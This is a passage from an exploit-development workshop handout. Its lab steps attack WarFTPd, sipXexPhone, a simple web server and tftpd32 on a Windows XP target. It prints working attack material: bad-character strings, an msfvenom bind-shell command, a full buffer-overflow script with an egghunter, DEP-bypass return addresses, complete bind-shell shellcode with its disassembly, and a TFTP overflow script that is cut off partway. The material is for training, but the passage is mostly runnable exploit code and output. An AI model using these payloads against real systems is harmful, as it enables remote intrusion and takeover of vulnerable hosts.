3772"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
3773
3774 -----------------------------------------------------------------------
3775
3776Send this new shellcode string and identify the places where it truncates - these are the bad characters
3777
3778
3779
3780
3781Here is what the string looks like after I manually tested and removed each of the bad characters:
3782 ---------------------------Type This-----------------------------------
3783
3784shellcode = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
3785
3786 -----------------------------------------------------------------------
3787
3788
3789 ---------------------------Type This-----------------------------------
3790
3791./msfvenom -p windows/shell/bind_tcp -f python -b '\x00\x0a\x0d\x40'
3792
3793 -----------------------------------------------------------------------
3794
3795
3796
3797
3798###########################################
3799# Lab 1b: Stack Overflows with DEP Bypass #
3800###########################################
3801
3802Reboot your target host and choose the "2nd" option for DEP.
3803
3804 ---------------------------Type This-----------------------------------
3805
3806cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1b
3807
3808
3809
3810
3811python warftpd1.py | nc XPSP3-ED-Target-IP 21
3812
3813 At WINDBG prompt
3814 “r†to show registers or “alt+4â€
3815
3816 dd esp
3817
3818 -----------------------------------------------------------------------
3819
3820 ---------------------------Type This-----------------------------------
3821
3822python warftpd2.py | nc XPSP3-ED-Target-IP 21
3823
3824
3825 At WINDBG prompt
3826 “r†to show registers or “alt+4â€
3827 dd esp
3828 -----------------------------------------------------------------------
3829
3830 Eip: 32714131
3831 esp: affd58 (71413471)
3832
3833 Now we need to SSH into the StrategicSec Ubuntu host
3834 ---------------------------Type This-----------------------------------
3835
3836 cd /home/strategicsec/toolz/metasploit/tools/exploit
3837
3838 ruby pattern_offset.rb 32714131
3839 485
3840
3841 ruby pattern_offset.rb 71413471
3842 493
3843
3844
3845
3846
3847
3848
3849
3850
3851cd /home/strategicsec/toolz/metasploit/tools/exploit
3852
3853ruby pattern_offset.rb 32714131
3854
3855cd /home/strategicsec/toolz/metasploit/
3856
3857./msfpescan -j ESP DLLs/xpsp3/shell32.dll | grep 0x7c9d30d7
3858
3859
3860
3861python warftpd3.py | nc XPSP3-ED-Target-IP 21
3862
3863 0:003> dd eip
3864 0:003> dd esp
3865-----------------------------------------------------------------------
3866
3867INT3s - GOOD!!!!!!!
3868
3869---------------------------Type This-----------------------------------
3870
3871
3872python warftpd4.py | nc XPSP3-ED-Target-IP 21
3873
3874nc XPSP3-ED-Target-IP 4444
3875-----------------------------------------------------------------------
3876
3877
3878strategicsec....exploit no workie!!!!
3879
3880
3881Why????????? DEP!!!!!!!!!!!!!
3882
3883
3884
3885
3886Let's look through ole32.dll for the following instructions:
3887
3888mov al,0x1
3889ret 0x4
3890
3891We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
3892
3893
3894---------------------------Type This-----------------------------------
3895
3896./msfpescan -D -r "\xB0\x01\xC2\x04" DLLs/xpsp3/ole32.dll
3897-----------------------------------------------------------------------
3898
3899[DLLs/xpsp3/ole32.dll]
39000x775ee00e b001c204
39010x775ee00e mov al, 1
39020x775ee010 ret 4
3903
3904
3905Then we need to jump to the LdrpCheckNXCompatibility routine in
3906ntdll.dll that disables DEP.
3907
3908
3909
3910Inside of ntdll.dll we need to find the following instructions:
3911
3912CMP AL,1
3913PUSH 2
3914POP ESI
3915JE ntdll.7
3916
3917---------------------------Type This-----------------------------------
3918
3919
3920./msfpescan -D -r "\x3C\x01\x6A\x02\x5E\x0F\x84" DLLs/xpsp3/ntdll.dll
3921-----------------------------------------------------------------------
3922
3923[DLLs/xpsp3/ntdll.dll]
39240x7c91cd24 3c016a025e0f84
39250x7c91cd24 cmp al, 1
39260x7c91cd26 push 2
39270x7c91cd28 pop esi
39280x7c91cd29 jz 7
3929
3930
3931This set of instructions makes sure that AL is set to 1, 2 is pushed
3932on the stack then popped into ESI.
3933
3934
3935
3936---------------------------Paste This-----------------------------------
3937
3938
3939dep = "\x0e\xe0\x5e\x77"+\
3940"\xff\xff\xff\xff"+\
3941"\x24\xcd\x91\x7c"+\
3942"\xff\xff\xff\xff"+\
3943"A"*0x54
3944
3945-----------------------------------------------------------------------
3946
3947
3948 #############################
3949 # Start WarFTPd #
3950 # Start WinDBG #
3951 # Press F6 #
3952 # Attach to war-ftpd.exe #
3953 # bp 0x775ee00e #
3954 # g #
3955 #############################
3956
3957
3958---------------------------Type This-----------------------------------
3959
3960
3961python warftpd5.py | nc XPSP3-ED-Target-IP 21
3962
3963-----------------------------------------------------------------------
3964We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
3965
3966 mov al,0x1
3967 ret 0x4
3968
3969
3970
3971
39720:005> g
3973Breakpoint 0 hit
3974eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
3975eip=775ee00e esp=00affd58 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
3976cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
3977ole32!CSSMappedStream::IsWriteable:
3978775ee00e b001 mov al,1
3979
3980
39810:001> t
3982eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
3983eip=775ee010 esp=00affd58 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
3984cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
3985ole32!CSSMappedStream::IsWriteable+0x2:
3986775ee010 c20400 ret 4
3987
3988
3989
3990
3991
3992---------------------------------------------------------------------------
3993Ok, so inside of ntdll.dll we need to find the following instructions:
3994
3995 CMP AL,1
3996 PUSH 2
3997 POP ESI
3998 JE ntdll.7
3999
40000:001> t
4001eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
4002eip=7c91cd24 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
4003cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
4004ntdll!LdrpCheckNXCompatibility+0x13:
40057c91cd24 3c01 cmp al,1
4006
4007
40080:001> t
4009eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
4010eip=7c91cd26 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
4011cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
4012ntdll!LdrpCheckNXCompatibility+0x15:
40137c91cd26 6a02 push 2
4014
4015
40160:001> t
4017eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
4018eip=7c91cd28 esp=00affd5c ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
4019cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
4020ntdll!LdrpCheckNXCompatibility+0x17:
40217c91cd28 5e pop esi
4022
4023
40240:001> t
4025eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=00000002 edi=00affe58
4026eip=7c91cd29 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
4027cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
4028ntdll!LdrpCheckNXCompatibility+0x18:
40297c91cd29 0f84df290200 je ntdll!LdrpCheckNXCompatibility+0x1a (7c93f70e) [br=1]
4030
4031
4032---------------------------------------------------------------------------
4033
4034
4035 ---------------------------Type This-----------------------------------
4036
4037python warftpd5.py | nc XPSP3-ED-Target-IP 21
4038
4039nc XPSP3-ED-Target-IP 4444
4040
4041 -----------------------------------------------------------------------
4042
4043##########################
4044# Lab 1c: SEH Overwrites #
4045##########################
4046
4047 #################################################
4048 # On our VictimXP Host (XPSP3-ED-Target-IP) #
4049 # Start sipXexPhone if it isn’t already running #
4050 # Start WinDBG #
4051 # Press “F6†and Attach to sipXexPhone.exe #
4052 # Press “F5†to start the debugger #
4053 #################################################
4054
4055 ---------------------------Type This-----------------------------------
4056
4057cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1c\sipx_complete
4058
4059
4060
4061python sipex0.py XPSP3-ED-Target-IP
4062
4063 0:003> !exchain
4064 0:003> dds esp
4065 0:003> dds
4066
4067python sipex1.py XPSP3-ED-Target-IP
4068
4069 0:003> !exchain
4070 0:003> g
4071
4072 When looking at !exchain you should see that EIP is 41414141, so let’s add more characters.
4073
4074
4075python sipex2.py XPSP3-ED-Target-IP
4076
4077 0:003> !exchain
4078 0:003> g
4079
4080
4081 ***ssh into instructor Ubuntu host***
4082 cd /home/strategicsec/toolz/metasploit/tools/exploit
4083 ruby pattern_offset.rb 41346941 We should see that SEH is at 252
4084
4085
4086
4087 !load narly
4088 !nmod
4089
4090 ***ssh into the Ubuntu host***
4091 ls /home/strategicsec/toolz/metasploit/DLLs/xpsp3/sipXDLLs/
4092 cd /home/strategicsec/toolz/metasploit/
4093 ./msfpescan -p DLLs/xpsp3/sipXDLLs/sipxtapi.dll
4094
4095 -----------------------------------------------------------------------
4096
4097 #####################################
4098 # sipex3.py in Notepad++. #
4099 # Set cseq = 252 #
4100 # Set seh2 address to: 0x10015977 #
4101 #####################################
4102
4103---------------------------Type This-----------------------------------
4104
4105python sipex3.py XPSP3-ED-Target-IP
4106 0:003> !exchain
4107
4108python sipex4.py XPSP3-ED-Target-IP
4109
4110
4111
4112nc XPSP3-ED-Target-IP 4444
4113
4114 -----------------------------------------------------------------------
4115
4116
4117
4118
4119Brush up on the basics of Structured Exception Handlers:
4120http://www.securitytube.net/video/1406
4121http://www.securitytube.net/video/1407
4122http://www.securitytube.net/video/1408
4123
4124
4125
4126
4127
4128
4129########################################
4130# Lab 2a: Not Enough Space (Egghunter) #
4131########################################
4132
4133---------------------------Type This-----------------------------------
4134
4135cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\sws_skeleton
4136-----------------------------------------------------------------------
4137
4138SWS - SIMPLE WEB SERVER
4139-----------------------
4140
4141Running SWS on Strategicsec-XP-ED-Target-VM
4142Start > Programs > Simple Web Server (it's in the middle somewhere)
4143Red icon in system tray
4144Double click it
4145- it will pop up a menu
4146- select "start"
4147- dialog box shows starting params - port 82
4148
4149WinDBG
4150- attach to "server.exe"
4151
4152---------------------------Type This-----------------------------------
4153
4154python sws1.py | nc XPSP3-ED-Target-IP 82
4155
4156
4157
4158python sws2.py | nc XPSP3-ED-Target-IP 82
4159
4160
4161SSH into the Ubuntu host (user: strategicsec/pass: strategicsec)
4162cd /home/strategicsec/toolz/metasploit/tools/exploit
4163ruby pattern_offset.rb 41356841 <------- You should see that EIP is at 225
4164ruby pattern_offset.rb 68413668 <------- You should see that ESP is at 229
4165
4166
4167-----------------------------------------------------------------------
4168
4169
4170
4171
4172
4173
4174EGGHUNTER:
4175----------
4176
4177"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
4178"\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
4179 ^^^^^^^^^^^^^^^^
4180 ABBA
4181 JMP ESP
4182 /
4183 /
4184GET /AAAAAAAAAAA...225...AAAAAAAAAA[ EIP ]$egghunter HTTP/1.0
4185User-Agent: ABBAABBA LARGE SHELLCODE (Alpha2 encoded)
4186
4187
4188
4189
4190-----sws3.py-----
4191#!/usr/bin/python2
4192
4193import os # for output setting
4194import sys
4195import struct # for pack function
4196
4197# turn off output buffer and set binary mode
4198sys.stdout = os.fdopen(sys.stdout.fileno(), 'wb', 0)
4199
4200
4201pad = "A" * 225 # distance to EIP
4202eip = 0x7e429353 # replace EIP to point to "jmp esp" from user32.dll
4203
4204egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
4205egghunter += "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
4206
4207shellcode = "\xCC" * 700
4208
4209buf = "GET /"
4210buf += pad + struct.pack('<I', eip) + egghunter
4211buf += " HTTP/1.0\r\n"
4212buf += "User-Agent: ABBAABBA"
4213buf += shellcode
4214buf += " HTTP/1.0\r\n"
4215
4216sys.stdout.write(buf)
4217-----
4218
4219
4220
4221############################################
4222# Lab 2b: Not Enough Space (Negative Jump) #
4223############################################
4224---------------------------Type This-----------------------------------
4225
4226cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\modjk_skeleton
4227-----------------------------------------------------------------------
4228
4229
4230[pad = distance_to_seh - len(shellcode) ] [ shellcode] [jmp4 = "\x90\x90\xEB\x04"] [eip (pop pop ret)] [jmp_min = "\xE9\x98\xEF\xFF\xFF"]
4231
4232 ^
42331 ----------------------1 overflow the buffer---------------------------|
4234
4235 ^ ^
4236 |
4237 2 ----jump over seh record---|
4238
4239 ^ ^
4240 |
4241 3--POP 2 words off stack---|
4242
4243 ^
42444 -----negative jump into NOPs - then into shellcode -----------------------------------------------------------------------------------|
4245
4246
4247#########################################
4248# Lab 2c: Not Enough Space (Trampoline) #
4249#########################################
4250
4251cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2c\tftpd_skeleton
4252On the Strategicsec-XP-ED-Target-VM VM
4253
4254- open a command prompt
4255- c:\software\tftpd32
4256- run tftpd32.exe
4257- UDP port 69
4258(socket code is already in the scripts)
4259
4260
4261
4262
4263On your attack host please install:
4264
4265
4266 NASM - Netwide Assembler
4267
4268
4269
4270
4271
4272-----------------------------------------------------------------------------------------------------------------
4273
4274
4275We want to generate the shellcode (BIND SHELL on Port 4444)
4276- No restricted characters
4277- Encoder: NONE
4278
4279Create a Python file called dumpshellcode.py
4280
4281---
4282#!/usr/bin/python2
4283
4284import os
4285import sys
4286import struct
4287
4288
4289# win32_bind - EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
4290shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
4291shellcode += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
4292shellcode += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
4293shellcode += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
4294shellcode += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
4295shellcode += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
4296shellcode += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
4297shellcode += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
4298shellcode += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
4299shellcode += "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
4300shellcode += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
4301shellcode += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
4302shellcode += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
4303shellcode += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
4304shellcode += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
4305shellcode += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
4306shellcode += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
4307shellcode += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
4308shellcode += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
4309shellcode += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
4310
4311sys.stdout.write(shellcode)
4312---
4313
4314---------------------------Type This-----------------------------------
4315
4316
4317python dumpshell.py > bindshell.bin
4318
4319copy bindshellcode.bin into the "c:\Program Files\nasm" directory
4320-----------------------------------------------------------------------
4321
4322
4323
4324Here we saved the raw shellcode generated by metasploit into a file called bindshell.bin
4325317 bindshell.bin
4326---------------------------Type This-----------------------------------
4327
4328C:\Program Files\nasm>ndisasm -b 32 bindshell.bin
4329-----------------------------------------------------------------------
4330
433100000000 FC cld
433200000001 6AEB push byte -0x15
433300000003 4D dec ebp
433400000004 E8F9FFFFFF call dword 0x2
433500000009 60 pushad
43360000000A 8B6C2424 mov ebp,[esp+0x24]
43370000000E 8B453C mov eax,[ebp+0x3c]
433800000011 8B7C0578 mov edi,[ebp+eax+0x78]
433900000015 01EF add edi,ebp
434000000017 8B4F18 mov ecx,[edi+0x18]
43410000001A 8B5F20 mov ebx,[edi+0x20]
43420000001D 01EB add ebx,ebp
43430000001F 49 dec ecx
434400000020 8B348B mov esi,[ebx+ecx*4]
434500000023 01EE add esi,ebp
434600000025 31C0 xor eax,eax
434700000027 99 cdq
434800000028 AC lodsb
434900000029 84C0 test al,al
43500000002B 7407 jz 0x34
43510000002D C1CA0D ror edx,0xd
435200000030 01C2 add edx,eax
435300000032 EBF4 jmp short 0x28
435400000034 3B542428 cmp edx,[esp+0x28]
435500000038 75E5 jnz 0x1f
43560000003A 8B5F24 mov ebx,[edi+0x24]
43570000003D 01EB add ebx,ebp
43580000003F 668B0C4B mov cx,[ebx+ecx*2]
435900000043 8B5F1C mov ebx,[edi+0x1c]
436000000046 01EB add ebx,ebp
436100000048 032C8B add ebp,[ebx+ecx*4]
43620000004B 896C241C mov [esp+0x1c],ebp
43630000004F 61 popad
436400000050 C3 ret
436500000051 31DB xor ebx,ebx
436600000053 648B4330 mov eax,[fs:ebx+0x30]
436700000057 8B400C mov eax,[eax+0xc]
43680000005A 8B701C mov esi,[eax+0x1c]
43690000005D AD lodsd
43700000005E 8B4008 mov eax,[eax+0x8]
437100000061 5E pop esi
437200000062 688E4E0EEC push dword 0xec0e4e8e
437300000067 50 push eax
437400000068 FFD6 call esi
43750000006A 6653 push bx
43760000006C 66683332 push word 0x3233
437700000070 687773325F push dword 0x5f327377
437800000075 54 push esp
437900000076 FFD0 call eax
438000000078 68CBEDFC3B push dword 0x3bfcedcb
43810000007D 50 push eax
43820000007E FFD6 call esi PART 1
438300000080 5F pop edi
438400000081 89E5 mov ebp,esp
438500000083 6681ED0802 sub bp,0x208
438600000088 55 push ebp
438700000089 6A02 push byte +0x2
43880000008B FFD0 call eax
43890000008D 68D909F5AD push dword 0xadf509d9
439000000092 57 push edi
439100000093 FFD6 call esi
439200000095 53 push ebx
439300000096 53 push ebx
4394--------------------------------------------CUTCUTCUTCUTCUT----8<---8<---8<---
439500000097 53 push ebx
439600000098 53 push ebx
439700000099 53 push ebx
43980000009A 43 inc ebx
43990000009B 53 push ebx
44000000009C 43 inc ebx
44010000009D 53 push ebx PART 2
44020000009E FFD0 call eax
4403000000A0 6668115C push word 0x5c11
4404000000A4 6653 push bx
4405000000A6 89E1 mov ecx,esp
4406000000A8 95 xchg eax,ebp
4407000000A9 68A41A70C7 push dword 0xc7701aa4
4408000000AE 57 push edi
4409000000AF FFD6 call esi
4410000000B1 6A10 push byte +0x10
4411000000B3 51 push ecx
4412000000B4 55 push ebp
4413000000B5 FFD0 call eax
4414000000B7 68A4AD2EE9 push dword 0xe92eada4
4415000000BC 57 push edi
4416000000BD FFD6 call esi
4417000000BF 53 push ebx
4418000000C0 55 push ebp
4419000000C1 FFD0 call eax
4420000000C3 68E5498649 push dword 0x498649e5
4421000000C8 57 push edi
4422000000C9 FFD6 call esi
4423000000CB 50 push eax
4424000000CC 54 push esp
4425000000CD 54 push esp
4426000000CE 55 push ebp
4427000000CF FFD0 call eax
4428000000D1 93 xchg eax,ebx
4429000000D2 68E779C679 push dword 0x79c679e7
4430000000D7 57 push edi
4431000000D8 FFD6 call esi
4432000000DA 55 push ebp
4433000000DB FFD0 call eax
4434000000DD 666A64 push word 0x64
4435000000E0 6668636D push word 0x6d63
4436000000E4 89E5 mov ebp,esp
4437000000E6 6A50 push byte +0x50
4438000000E8 59 pop ecx
4439000000E9 29CC sub esp,ecx
4440000000EB 89E7 mov edi,esp
4441000000ED 6A44 push byte +0x44
4442000000EF 89E2 mov edx,esp
4443000000F1 31C0 xor eax,eax
4444000000F3 F3AA rep stosb
4445000000F5 FE422D inc byte [edx+0x2d]
4446000000F8 FE422C inc byte [edx+0x2c]
4447000000FB 93 xchg eax,ebx
4448000000FC 8D7A38 lea edi,[edx+0x38]
4449000000FF AB stosd
445000000100 AB stosd
445100000101 AB stosd
445200000102 6872FEB316 push dword 0x16b3fe72
445300000107 FF7544 push dword [ebp+0x44]
44540000010A FFD6 call esi
44550000010C 5B pop ebx
44560000010D 57 push edi
44570000010E 52 push edx
44580000010F 51 push ecx
445900000110 51 push ecx
446000000111 51 push ecx
446100000112 6A01 push byte +0x1
446200000114 51 push ecx
446300000115 51 push ecx
446400000116 55 push ebp
446500000117 51 push ecx
446600000118 FFD0 call eax
44670000011A 68ADD905CE push dword 0xce05d9ad
44680000011F 53 push ebx
446900000120 FFD6 call esi
447000000122 6AFF push byte -0x1
447100000124 FF37 push dword [edi]
447200000126 FFD0 call eax
447300000128 8B57FC mov edx,[edi-0x4]
44740000012B 83C464 add esp,byte +0x64
44750000012E FFD6 call esi
447600000130 52 push edx
447700000131 FFD0 call eax
447800000133 68F08A045F push dword 0x5f048af0
447900000138 53 push ebx
448000000139 FFD6 call esi
44810000013B FFD0 call eax
4482
4483
4484
4485
4486part1 = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
4487part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
4488part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
4489part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
4490part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
4491part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
4492part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
4493part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
4494part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
4495part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
4496
4497
4498part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
4499part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
4500part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
4501part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
4502part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
4503part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
4504part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
4505part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
4506part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
4507part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
4508part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
4509
4510
4511STACK SHIFTER:
4512prepend = "\x81\xC4\xFF\xEF\xFF\xFF" # add esp, -1001h
4513prepend += "\x44" # inc esp
4514
4515
4516
4517
4518
4519
4520
4521
4522
4523
4524
4525
4526
4527
4528---- final script ----
4529
4530#!/usr/bin/python2
4531#TFTP Server remote Buffer Overflow
4532
4533import sys
4534import socket
4535import struct
4536
4537if len(sys.argv) < 2:
4538 sys.stderr.write("Usage: tftpd.py <host>\n")
4539 sys.exit(1)
4540
4541target = sys.argv[1]
4542port = 69
4543
4544eip = 0x7e429353 # jmp esp in USER32.DLL
4545
4546part1 += "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
4547part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
4548part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
4549part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
4550part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
4551part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
4552part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
4553part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
4554part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
